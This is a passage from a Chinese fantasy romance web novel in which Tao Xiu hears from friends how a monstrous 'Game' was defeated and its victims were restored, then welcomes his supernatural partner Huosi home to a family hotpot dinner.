“我直觉这些和你的同类有关,担心你是不是出事了,就赶紧请假来了。” 说着乔之安起身,笑了下道:“知道你没事,我就放心了。你看起来脸色不太好,好好休息吧,我先回医院了。” 陶岫弯了眼眸,点了点头。 乔之安便向大门走去,只是走到门口,他转过身来,静静看向陶岫:“有一天,你和小星星会离开这里回你们的世界么?” 陶岫瞳孔一缩,嘴唇动了下,却不知该怎么回答:因为,就连他都不知道答案。 乔之安洒脱又温柔地一笑,道:“离开也没关系,陶岫,你和小星星都是自由的,想去哪里就去哪里,只是……别让我忘记你们。” 即使不知道任何所谓的真相,他也知道,祂们有很多他无法认知的能力,只要祂们想,绝对可以拿走他关于陶岫陶星星的一切记忆。 他可以接受与友人离别,却绝对接受不了遗忘。 遗忘会让人变得虚无。 陶岫回过神来,认认真真道:“当然不会。”那些经历与记忆,对他也很重要啊…… 乔之安笑了下,这才转身离去。 …… 乔之安离开后,周河几乎前后脚找上门来,他不知为何黑眼圈很重,精神却异常好。 陶岫将陶星星交给散步回来的小八与竺照顾,才去客厅招待他。 周河看着陶岫过分苍白的脸色一怔:“你还好吧?身体没事?” 陶岫摇摇头一笑:“没什么事,养几天就好了。”这点难受比他之前猜测的代价要轻上太多了。 周河点点头,这才说明来意:“昨天市中心一个生物制药园区出事了,虽然我打了你的电话没打通,但我知道,大概率和你有关。” “再加上,短短一天里,又发生了许多新的事情,所以我今天还是来了。” 陶岫瞳孔一缩:“你的记忆被保留了?” 周河闻言直视着他一笑,坦言道:“虽然昨天就已经知道,大家的记忆被那位霍斯先生做了手脚,但真正听你说这件事,还是觉得很微妙。”即使,霍斯先生做的这件事,本质上是帮了他们忙,从根本上避免了大家的恐慌。 接着,他才回答陶岫的问题:“昨天事件的所有旁观者里,霍斯先生只保留了特别行动局员工的真实记忆,可能因为我们还需要继续善后。” “陶岫,这应该是我最后一次来找你同步信息。今天之后,我们不会再来打扰你平静的生活。” 陶岫瞳孔一缩。 周河:“昨天,一直到深夜,我们都在为园区出现的异常事件加班,因为信息缺失严重,包括蒋局在内,每个同事都焦头烂额。” “比如我们虽然猜到那栋楼与【游戏】有关,但完全不知道它是什么、又为什么突然出现又消失;消失之前,它‘吐’出许多玩家在园区里,而因为园区周围看不见的特殊物质,我们无法进去逮捕他们,也无法判断他们是否会对城市造成危害;还有更迫切的问题,人们拍摄的视频已经大范围传来,在这座城市引起了广泛的恐慌,说实话,知道【游戏】相关的高层已经在开会讨论是否应该策划组织市民有序到外市避难,即使,这会让大家损失惨重。” “凌晨三点钟左右,蒋局已经打好了报告,下定决心向领导提议开始组织全城市民避难,就在报告书即将提交前,霍斯先生出现了,祂将园区内那些玩家带了过来,几乎塞满了我们地下地下加起来整整30层的大楼。” “祂告诉我们,那栋大楼就是【游戏】的本体,而它现在已经死了,祂已经处好【游戏】的尸体,即将去履行祂同我们签订过的合约。至于那些玩家,不是祂的义务,而是我们的。” “祂还告诉我们,祂已经抹除了互联网上传播的所有相关视频,也通过改动除我们之外的目击者的大脑彻底组断了这件事情的传播。所以之后,我们应该专心解决那些玩家的后续事宜。” 那时的办公室里,高大俊美的男人依旧傲慢冷漠,周身的气势让人不敢靠近,但说那句话的瞬间,祂很可能想到了陶岫,猩红的眼眸温柔了一刹那:“那些家伙和他有过交易,而他已经做了一切,完成了自己的承诺。所以,他们剩下的事情是你们的责任,不许再让他们去打扰他。” 周河陷在回忆里,有些微微出神:其实那时他立刻就想到植物园里陶岫对张乐做出的会帮张乐和那些玩家摆脱游戏控制的约定。 他依旧联系不上陶岫,却在那一刻彻底确认——陶岫真的做了什么,而且还是非常关键性的事情。 陶岫这时问道:“那些玩家现在什么情况?”他很好奇,虫子死后,那些玩家会如何。 周河回过神来,道:“这就是我要和你同步的第二条信息。【游戏】死后,经过我们的检测,那些玩家已经全部摆脱了它的控制,他们现在和林枚的情况一样,不算是人类,但和正常人类寿命相当,【游戏】死后,他们也不再具备任何能力。不管对人类还是对玩家来说,这都是一件好事。” “之后,我们会对他们进行审讯调查,针对他们进入【游戏】前犯下的罪行进行疏离,相关部门会根据法律对他们的罪行进行审判。” 陶岫点点头:“那很好。” 周河也笑了:“对,这真的很好——接下来,是第三条信息。” “你一直关心的吴言和乔鸢一家,我们是从你这里得知,他们的人生和成杨一家的人生被【游戏】交换了。【游戏】死后,他们重新回到了自己人生本该有的轨道上——说实话,我不知道一切是怎么发生的,但现在一切证件中那家科技公司的实控人确实变回了吴言和乔鸢夫妻,他们从前的财产也回到了自己的账户。” “只是,发生过的事情就是发生了——就像【游戏】确实存在过,也确实对他们使用了能力,他们那暗沉的几年确实存在。但是,他们夫妻内心非常强大,乔鸢在这一片混乱的变化中并未沮丧慌乱,她已经入院接受最好的治疗,休息过程中,她开始和吴言一起处公司的一切事务,他们的孩子也得到了妥善的安置。他们一家的未来一定会很好。” 陶岫这才放下心来,他垂眸笑了下:“那就好。那很好。” 周河:“最后一条是,【方子青】。”说着他深吸一口气看向青年,道:“陶岫,我们终于知道,你一直在说的【方子青】和【美好】公司到底是什么了。” “【游戏】死后,我们查到了25年前方子青主导的美好公司进行的一系列违法违规生物实验的相关资料,以及……美好公司152名员工的离奇失踪。” “即使已经过去了25年,但事关152条人命,无论他们是死是活,我们都绝不会放弃追查。” 陶岫那双美丽的苍绿眼睛直视着周河,他轻而坚定地道:“他们会回来的。” 因为,霍斯答应过他,会救他们。 周河瞳孔一缩,半晌,他弯了眼眸朝陶岫伸出手,他默契地没有追问这是什么意思,只是哑着嗓子道:“谢谢你和霍斯先生。” 陶岫握住了那只手:“我做的一切都是我该做的。而这件事上我没做什么,是霍斯在帮忙。” 周河笑笑,没有说话。 …… 周河离开前,陶岫问了最后一个问题:“等到霍斯彻底完成他的工作,【游戏】的所有因果彻底终结后,特别行动局会怎样?” 周河洒脱一笑:“所有进入【游戏】的玩家有多少,我们还没有统计出来,但霍斯先生昨晚塞进我们楼里的玩家一共3124人,这应该就是经过所谓副本淘汰后剩下的玩家。” “这些人即使暂时对社会不具备危害性,但也已经不算人类,出于对所有普通人的负责,我们会对他们进行终身定位跟踪,除了尽量善后、调查【美好】公司和继续收集信息外,这就是我们特别行动局日后长期的职责。” “等到最后一个进入过游戏的玩家离开人世,只要不再有类似的异常事件发生,我们局就会彻底解散。这过程很漫长,也很繁琐艰辛,但我们当仁不让。” 陶岫弯了眼眸:“辛苦了。” 周河也痞痞笑了下:“应该的。” 走到门口,他转过身,带着再平常不过的轻快又日常的神情,笑着道:“陶岫,很开心认识你。祝你日后万事顺意,永远幸福。” 陶岫苍绿明亮的眼眸里满是温柔的笑意:“你也是。” 周河这才打开门头也不回地离去。 …… 周河走后,陶岫又在沙发上坐了好一会儿,午后冬日的太阳射|进玻璃窗,映照着青年美丽苍白又温柔的脸颊。 陶岫像是心头终于卸下一块沉重的石头,他舒服地在光里眯了眯眼睛,又舒展了下身体,才起身向主卧走去。 推门进去,陶星星已经醒了,小八和竺正在逗他。 一听到陶岫进来,小朋友眼睛便蓦然亮起来:“妈咪~” 陶岫立刻上前抱起他,陶星星比从前更加黏人,他伸出胳膊紧紧揽着青年的脖颈,将自己整个缩进青年的怀里:“妈咪……” 他再也不要离开妈咪了…… 陶岫有些心疼地轻轻拍着他的后背,这才发现,小八和竺有点失落和心不在焉,他温和地问道:“你们这是怎么了?” 竺垂着脑袋“哎”了声叹气,有些难过地道:“刚刚出去散步碰到了熟人,就是我之前遛椰子时认识的老爷爷狗友,他看不到我了,就连那只叫地瓜的金毛都看不到我了……” 小八也失落地咬着唇:“我在小区散步时认识的好朋友也看不到我了……”她们可好了,每次见面都会送她糖果和好看的发夹。 陶岫一怔,他抱着陶星星坐在床上,空出一只手来,温柔地轮流揉了揉竺和小八的脑袋。 小八深吸一口气抬起头来,她眼眶有些红,面上却重新浮起甜甜的笑:“但是没关系,她们记得我,我也记得她们,我们不会忘记彼此,这就足够了。” 竺似乎也被这番话鼓励道,他揉了把小八的小脑袋,也憨憨笑了:“害,你说得对。” 他们早晚会回到自己的世界,他们的世界正在复苏,昔日的友人也会一起归来,在人类世界的这段经历真的很宝贵,分别也真的很遗憾,但能够做到不遗忘已经足够幸运了。 陶岫温柔地注视着他们,抱紧了陶星星。 …… 之后的两天里,陶岫照常带着陶星星打车去植物园上班,即使已经无法被看到,小八也坚持要跟着去。 竺则留在家里安慰同样失落地从希望酒店回来的一筒一万兄妹。 人类的世界一如既往地运转着,陶岫的植物园里也照常迎来一波波客人。 即使不能再被人类看到,小八依旧保持着人类的外形,看到每一个人类小女孩儿时依旧会露出甜甜的笑容。 每当这时候,陶岫就会轻轻摸摸小八的小脑袋。 这一天快要闭园时,一个气质优雅打扮得体的中年女人推着坐在轮椅上头发花白的老人进了植物园,女人温柔地对老人道:“妈,这园子在A市可出名了,冬天里也难得有这样的温室植物园,来一趟A市旅游咱们肯定要看下,参观完我们就回酒店休息。” 老人“哎”了声,慈爱又幸福地笑着。 她们互相轻声说着话,同陶岫擦肩而过,陶岫看着轮椅上的老人,蓦然睁大了眼睛:那是他在特别行动局看到的提供了【美好】公司地址的老人…… 失去女儿后,她现在本该在疗养院麻木地度过最后的人生…… 可现在,她和她的女儿在一起幸福地参观植物园…… 陶岫的心脏“砰砰”跳起来:也就是说,霍斯已经拯救了那些被虫子吃掉的人们的生命…… 陶岫鼻尖蓦然一酸,面上却浮出个温柔的浅笑:真好啊…… …… 下班回家时,A市的街道上依旧到处闪烁着美丽的霓虹灯火,快过年了,到处都挂了灯笼彩灯,街上人流比平时更多,人们都在置办年货。 陶岫经过商店时给陶星星挑了些小玩具,又给小八买了她最喜欢的罐装糖果。 街道上,陶岫一手抱着被裹得严严实实的陶星星,另一只手牵了小八,他道:“那家汉堡肉便当店的牛肉丸鱼肉丸也很好吃,我们买一些回去,今晚一筒和一万也在,人多,我们就吃火锅吧。” 小八这两天虽然很失落,听到陶岫这样说眼睛还是亮起来:“好呀。” 他们很快到了那家店,店里一如往昔热闹,老板和老板娘一见到他连忙把他迎进来。 看到陶岫怀里的小婴儿,老板娘爽利地笑道:“你好长时间不来这里,再来这都结婚有小孩儿啦?”说着她逗了下陶星星:“哎呀这小娃娃长得真好看。” 陶星星“咯咯”笑着,笑得很甜。 老板道:“你的妻子没和你一起来么?” 陶岫并未纠正,只是有些不好意思地摸了下鼻尖:“他去忙工作啦。”如果他没猜错,今晚霍斯就会……回来…… 老板夫妻并未继续追问,只是热情地道:“你们先坐一会儿啊,我们去给你装牛丸鱼肉丸!” 说罢便爽利地向后厨走去。 陶岫摸了摸在一旁安静坐着的小八,这时一个年轻女孩儿将两杯柳橙汁放在陶岫面前,声音很脆很甜:“小陶哥,这两杯果汁送你们喝!” 其实那个婴儿应该不能喝的,她只上一杯就够了,但也不知怎地,她鬼使神差地送了两杯过来。 听到这个声音的一瞬,一旁安静坐着的小八蓦然睁大了眼睛。 陶岫一怔,也笑了:“璨璨,好久不见。”想起对方应该已经读了想的大学一年了,他问道:“放寒假来店里帮忙?” 赵璨璨笑着“嗯”了声,店里现在客人正多,她正要接着去忙,却被陶岫叫住了。 陶岫将小八刚刚偷偷塞进他手里的玻璃糖果罐递给她:“家里的小妹妹很喜欢你,她让我送你的。” 小八和赵璨璨的缘分开始于一个糖果罐,这缘分终于在今天续上了一个完美的结尾。 赵璨璨麻利地接过,笑道:“哎小陶哥你还有妹妹啊?” 陶岫弯了眼眸:“对。很可爱的妹妹。” 赵璨璨爽朗地笑了,她很珍惜地看了下手里装满五颜六色糖果的糖果罐,接着道:“那小陶哥你等我下,我也送妹妹一个礼物!我很快回来!” 说罢她也顾不得店里的客人,大步往对面的小区大步跑去。 几分钟后,她喘着气把一个闪烁着美丽光芒、旋转木马形状的玻璃糖果罐交给陶岫,笑着道:“帮我谢谢妹妹!然后这是我在大学新买的,里面是超好吃的牛奶糖,是给她的回礼!” 陶岫看了眼旁边的小八,弯了眼眸收下了它,轻轻道:“我替她多谢你。” …… 买好鱼丸牛肉丸后,陶岫顺便又买了些新鲜蔬菜肉类,接着便带着陶星星和小八打车回到了家。 到了家里,小八便钻进卧室宝贝地把那个新收到的糖果罐收好,竺将一筒拎进了厨房帮忙。 妹妹一万坐在沙发上,好奇地看着陶岫怀里正抱着奶瓶乖巧喝奶的陶星星。 或许是因为更加跳脱的哥哥不在身边,一万单独待着时安静了许多。 半晌,她才有点拘谨地对陶岫道:“听竺说,你很舍不得离开这个世界,是不是呀?” 陶岫一怔,笑道:“确实。不过,我也不会惧怕分离和离开。”另一个世界是他的故乡,只要给他时间他会像爱着人类世界一样爱那里。 一万眨了下眼:“你不用很快离开这里哦。” 陶岫:“……什么?” 一万似乎比竺与小八知道更多事情,她道:“你最后仅剩的力量就是在这小区了吧?老大说,你现在的身体需要这里的力量滋养才能恢复好,大概要一两年吧。反正就算两个世界彻底分离了,有这片小区在,你和小八他们也可以留在这个世界。” 那晚她和哥哥带着后来收集的那些碎肉去找霍斯大人,霍斯大人比任何时候都要可怕。 他们直到见到老大才知道陶岫做了什么,其实他们的同类中没有谁敢给出自己所有的力量,做这样的事情身体会受到不可逆的损伤,可能会昏迷无比漫长的时间。 看着陶岫那时候的样子,她和哥哥那时几乎要觉得霍斯大人要失控了,事实上,也确实快要失控了,直到……祂突然发现这片小区里的力量可以滋养反哺陷入昏迷的陶岫的身体。 直到那时候,霍斯大人的智才算彻底回归掌控了身体,知道了陶岫不会有事后,霍斯大人才能继续有条不紊地去做祂的工作。 一万这时感慨道:“如果这片小区的力量是你从前放进去的,你是自己救了自己哦。即使没有预知的力量,过去的你也可以拯救未来的你,你真的太了不起啦。” 陶岫怔怔地消化着那些信息,半晌,他才温和地笑了下,道:“多谢夸奖。”虽然,过去的他做这件事时完全不知道有一天会派上这样的用场。 但是,真好啊…… 怀里的陶星星这时已经吃饱了,陶岫把奶瓶放在一边,小婴儿便眷恋地依偎着陶岫,安静地闭上了眼睛睡觉,等到孩子甜甜睡去,陶岫才起身将他温柔地放进移动婴儿床里。 客厅里一片温暖静好,竺已经端着咕嘟嘟冒着泡的诱人锅底来到了餐桌,一筒在后面端着新鲜的肉和菜。 一簇烟花蓦然在窗外的夜空炸开,盛放出一朵绚烂孤独的花,陶岫看着看着却笑了:等到过年,会有更多璀璨的烟花盛开。 正在这时,大门外突然传出一声微不可查的清脆“咔嚓”声,陶岫鼻尖隐隐闻到某种熟悉的冷香,他想到什么,蓦然睁大了眼睛。 他大步向玄关走去,接着,深吸一口气打开了门。 高大俊美的男人站在门外,红眼珠里有讶异一闪而过:“亲爱的,我本来想给你个惊喜所以才从大门进来。” “那些工作我全都完成了。两个世界已经安全地分离。” “还有,在最大程度不影响人类社会、不造成人类社会动荡的前提下,152个人类,我一个个回到过去调整了他们的因果,他们因为各种各样的原因在事件发生那天全都没有去那家公司上班。所以,他们全都活了下来。” “宝贝,你不必再为——” 话还未说完,青年已经踮起脚尖吻上了他冰冷的唇,霍斯蓦然睁大了眼睛。 半晌,他才紧紧揽住青年纤瘦的腰,占有欲十足地回吻着对方。 一吻结束,陶岫红着脸朝他笑起来,苍绿的眼里满是明亮的爱意,他道:“欢迎回家。” 接着,他同男人紧紧十指相扣,将男人牵进了这个温馨的家。 陶星星依旧在婴儿车里甜甜睡着,小八已经拉着一万去卫生间洗手,餐桌上摆满了美味新鲜的食物,火锅咕嘟嘟冒着热腾腾的诱人香气,竺正拉着一筒在厨房切果盘。 杂物间的门里,隐隐响起玩够了回家的椰子的叫声。 陶岫牵着霍斯在餐桌旁坐下来,他用那双苍绿的眼睛看着他,再次哑声道了句:“欢迎回家。” 霍斯猩红的瞳仁蓦然一深,他看了眼自己的孩子,接着深情地注视着自己爱人,半晌,他伸出冰凉有力的大手抚上青年的脸颊,道:“我回来了。” 窗外又一簇灿烂的烟花在夜幕间炸开,照亮了辽阔的人间烟火。